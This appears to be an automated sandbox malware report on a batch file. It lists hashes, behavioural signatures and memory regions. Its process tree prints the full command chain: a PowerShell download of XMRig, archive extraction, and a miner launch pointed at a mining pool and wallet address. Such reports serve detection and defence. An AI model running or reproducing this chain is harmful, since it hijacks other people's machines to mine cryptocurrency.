Analysis

  • max time kernel
    1798s
  • max time network
    1820s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4808
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1540

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    2c2bd1f45231e6965ea93bbc11aff2e9

    SHA1

    43bde0f5d97d31275301581fbc300dffb2931ebd

    SHA256

    f92dfe308b5e0ea0aae4f06bcc3b168e85a715a1d7a46aff9a5d7ce0ebabb654

    SHA512

    ff47be3501f8e0721078cba4ec7a0a6eed3dd58a6d37a24ae9ca0ce0e4af4e15d09eb6874e296058bd6091194e0aa0c3c0e4d9006a2242745c664d4561382438

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v52k0tmg.io5.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    138KB

    MD5

    5b63f71ecb9fca1f8b6a299a651cd5e1

    SHA1

    00b3fdb622dd51ce1ca7bdcec93828b388fa589b

    SHA256

    deb854ba36d2bed3201053fd0ffdf058652f4a5dee78197679aa98f3759bc662

    SHA512

    a1f088c92246779a2447a1fca0f0c71b611873db5810cbf4eb6de83254645e32e616c5ec7160f3b5b44fc1fe30a299f7d3f0229868377c4246e704a61c60e55b

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    107KB

    MD5

    d238970c445bc6dcfa7fb6d59d3e4696

    SHA1

    0e09658977bf53e3529d19a7011d05c97a5c93db

    SHA256

    595a91c95e7f45cd3e519f5802a08c882a63191a02eedb12c9b8c23fac0050cf

    SHA512

    0e24e6b68679b2f2a709ac5c5a1d999e9cbafb841d96400f471478fd0446b0bb6018f511301f7f79851daf8c9cb6c4ee7f261dbb2d0db62db6c210d2434daa29

  • memory/1388-28-0x000001AB62BB0000-0x000001AB62BC0000-memory.dmp

    Filesize

    64KB

  • memory/1388-25-0x000001AB62BB0000-0x000001AB62BC0000-memory.dmp

    Filesize

    64KB

  • memory/1388-26-0x00007FF823B80000-0x00007FF82456C000-memory.dmp

    Filesize

    9.9MB

  • memory/1388-27-0x000001AB62BB0000-0x000001AB62BC0000-memory.dmp

    Filesize

    64KB

  • memory/1388-8-0x000001AB62BB0000-0x000001AB62BC0000-memory.dmp

    Filesize

    64KB

  • memory/1388-29-0x000001AB62BB0000-0x000001AB62BC0000-memory.dmp

    Filesize

    64KB

  • memory/1388-34-0x00007FF823B80000-0x00007FF82456C000-memory.dmp

    Filesize

    9.9MB

  • memory/1388-10-0x000001AB62E70000-0x000001AB62EE6000-memory.dmp

    Filesize

    472KB

  • memory/1388-4-0x000001AB62CC0000-0x000001AB62CE2000-memory.dmp

    Filesize

    136KB

  • memory/1388-7-0x000001AB62BB0000-0x000001AB62BC0000-memory.dmp

    Filesize

    64KB

  • memory/1388-5-0x00007FF823B80000-0x00007FF82456C000-memory.dmp

    Filesize

    9.9MB

  • memory/1540-143-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-150-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-188-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-187-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-186-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-185-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-120-0x000001B6CAD60000-0x000001B6CAD80000-memory.dmp

    Filesize

    128KB

  • memory/1540-184-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-121-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-122-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-123-0x000001B6CADA0000-0x000001B6CADE0000-memory.dmp

    Filesize

    256KB

  • memory/1540-124-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-125-0x000001B6CADE0000-0x000001B6CAE00000-memory.dmp

    Filesize

    128KB

  • memory/1540-126-0x000001B6CAE00000-0x000001B6CAE20000-memory.dmp

    Filesize

    128KB

  • memory/1540-127-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-128-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-129-0x000001B6CADE0000-0x000001B6CAE00000-memory.dmp

    Filesize

    128KB

  • memory/1540-130-0x000001B6CAE00000-0x000001B6CAE20000-memory.dmp

    Filesize

    128KB

  • memory/1540-131-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-132-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-133-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-134-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-135-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-136-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-137-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-138-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-139-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-140-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-141-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-142-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-183-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-144-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-145-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-146-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-147-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-148-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-149-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-182-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-151-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-152-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-153-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-154-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-155-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-156-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-157-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-158-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-159-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-160-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-161-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-162-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-163-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-164-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-165-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-166-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-167-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-168-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-169-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-170-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-171-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-172-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-173-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-174-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-175-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-176-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-177-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-178-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-179-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-180-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/1540-181-0x00007FF6DC110000-0x00007FF6DCC13000-memory.dmp

    Filesize

    11.0MB

  • memory/4808-66-0x000002ACECE60000-0x000002ACECE70000-memory.dmp

    Filesize

    64KB

  • memory/4808-40-0x00007FF823B80000-0x00007FF82456C000-memory.dmp

    Filesize

    9.9MB

  • memory/4808-42-0x000002ACECE60000-0x000002ACECE70000-memory.dmp

    Filesize

    64KB

  • memory/4808-117-0x00007FF823B80000-0x00007FF82456C000-memory.dmp

    Filesize

    9.9MB

  • memory/4808-80-0x000002ACECE10000-0x000002ACECE22000-memory.dmp

    Filesize

    72KB

  • memory/4808-93-0x000002ACD4B70000-0x000002ACD4B7A000-memory.dmp

    Filesize

    40KB

  • memory/4808-41-0x000002ACECE60000-0x000002ACECE70000-memory.dmp

    Filesize

    64KB